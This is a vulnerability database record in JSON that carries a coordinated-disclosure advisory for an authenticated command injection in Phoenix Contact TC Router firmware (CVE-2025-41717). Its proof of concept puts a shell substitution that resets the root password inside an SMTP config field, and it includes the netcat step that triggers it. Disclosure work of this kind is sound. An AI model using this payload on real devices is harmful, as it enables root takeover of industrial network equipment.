{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260119-0\n-------------------------------------------------------------------------------\n                title| Authenticated Command Injection\n              product| TC Router 5004T-5G EU\n   vulnerable version| 1.06.18\n        fixed version| 1.06.23\n           CVE number| CVE-2025-41717\n               impact| High\n             homepage| https://www.phoenixcontact.com/\n                found| 16.04.2025\n                   by| D. Blagojevic, S. Dietz, F. Koroknai, T. Weber\n                     | CyberDanube Security Research\n                     | Vienna | St. P\u00f6lten\n                     | This research was conducted in cooperation with VERBUND\n                     | OT Cyber Security Lab during a penetration test.\n                     |\n                     | https://www.cyberdanube.com\n                     |\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"What we do\nConnecting, distributing, and controlling power and data flows - we have been\ndeveloping the right products for this purpose since 1923. Whether in\nindustrial production facilities, in the field of renewable energies, in\ninfrastructure, or for complex device connections: our solutions are used\nwherever processes must run automatically. Above and beyond their pure\nfunction, they help our partners to develop sustainable applications with more\nefficient processes and reduced costs.\n\nWe are Phoenix Contact: With innovative products and solutions, we are paving\nthe way to a climate-neutral and sustainable world.\"\n\nSource: https://www.phoenixcontact.com/en-us/company\n\nVulnerable versions\n-------------------------------------------------------------------------------\nTested on TC Router version 1.06.18\n\nAccording to the vendor, the following other products are also affected:\n\nProduct Name | Affected Firmware Version\nTC ROUTER 3002T-3G | \u003c FW 3.08.8\nTC ROUTER 2002T-3G | \u003c FW 3.08.8\nTC ROUTER 3002T-4G | \u003c FW 3.08.8\nTC ROUTER 3002T-4G GL| \u003c FW 3.08.8\nTC ROUTER 5004T-5G EU | \u003c FW 1.06.23\nTC ROUTER 3002T-4G VZW | \u003c FW 3.08.8\nTC ROUTER 3002T-4G ATT | \u003c FW 3.08.8\nTC ROUTER 2002T-4G | \u003c FW 3.08.8\nCLOUD CLIENT 1101TTX/TX | \u003c FW 3.07.7\nTC CLOUD CLIENT 1002-4G ATT | \u003c FW 3.08.8\nTC CLOUD CLIENT 1002-TX/TX | \u003c FW 3.07.7\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe device is vulnerable to an authenticated code injection. An attacker with\nvalid credentials could abuse this issue to execute code as root.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe config-upload endpoint can be used to inject arbitrary commands which\nget executed when polling the sock_server. The malicous config changes the\nroot password and enables the service.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\u003centry name=\"conf/smtp/auth\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/smtp/from\"\u003ep () t com\u0026apos;$(echo \u0026quot;root:password1!\u0026quot;|ch\npasswd)\u0026apos;\u003c/entry\u003e\n\u003centry name=\"conf/smtp/local\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/smtp/password\"\u003easdasdasd\u003c/entry\u003e\n\u003centry name=\"conf/smtp/port\"\u003e25\u003c/entry\u003e\n\u003centry name=\"conf/smtp/server\"\u003e192.168.19.138\u003c/entry\u003e\n[...]\n\u003centry name=\"conf/alerts/sock_enable\"\u003e1\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_port\"\u003e14323\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_xml_io\"\u003e0\u003c/entry\u003e\n\u003centry name=\"conf/alerts/sock_xml_nl\"\u003e1\u003c/entry\u003e\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nConnecting to the service and sending a mail triggers the command.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n$ nc 192.168.19.133 14323\n\u003c?xml version=\"1.0\"?\u003e\n\u003cemail to=\"pwned () pwned com\"\u003e\n\u003csubject\u003epwned\u003c/subject\u003e\n\u003cbody\u003e\n\u003c/body\u003e\n\u003c/email\u003e\n\n-------------------------------------------------------------------------------\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest available update. See vendor advisory for detailed version\ninformation.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device.\n\n\nRecommendation\n-------------------------------------------------------------------------------\nConfiguration file reviews are recommended before they got applied to the\ndevice.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-07-17: Sent advisory to Phoenix Contact PSIRT.\n2025-07-29: Vendor asked for a call to clarify the vulnerabilities.\n2025-07-31: Aligned on timeline for September during call.\n2025-08-19: Vendor confirmed publications for 2025-10-14. Confirmed the\n            shift.\n2025-09-25: Asked the vendor for another call to clarify details regarding all\n            affected devices (including other advisories).\n2025-09-26: Talked to vendor to clarify details.\n2025-10-09: Asked for CVE Numbers. Received and included them in the advisory.\n2025-11-18: Phone call with vendor. Agreed publication date after 2026-01-13.\n2026-01-19: Coordinated release of security advisory.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF T.Weber / @2026\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
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          "url": "https://seclists.org/fulldisclosure/2026/Feb/3"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.phoenixcontact.com/"
        },
        {
          "url": "https://www.phoenixcontact.com/en-us/company"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/3"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260119-0 | Authenticated Command Injection in Phoenix Contact TC Router Series",
      "x_gcve": [
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          "relationships": [
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              "destId": "CVE-2025-41717",
              "type": "related"
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            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-03T11:13:05Z"
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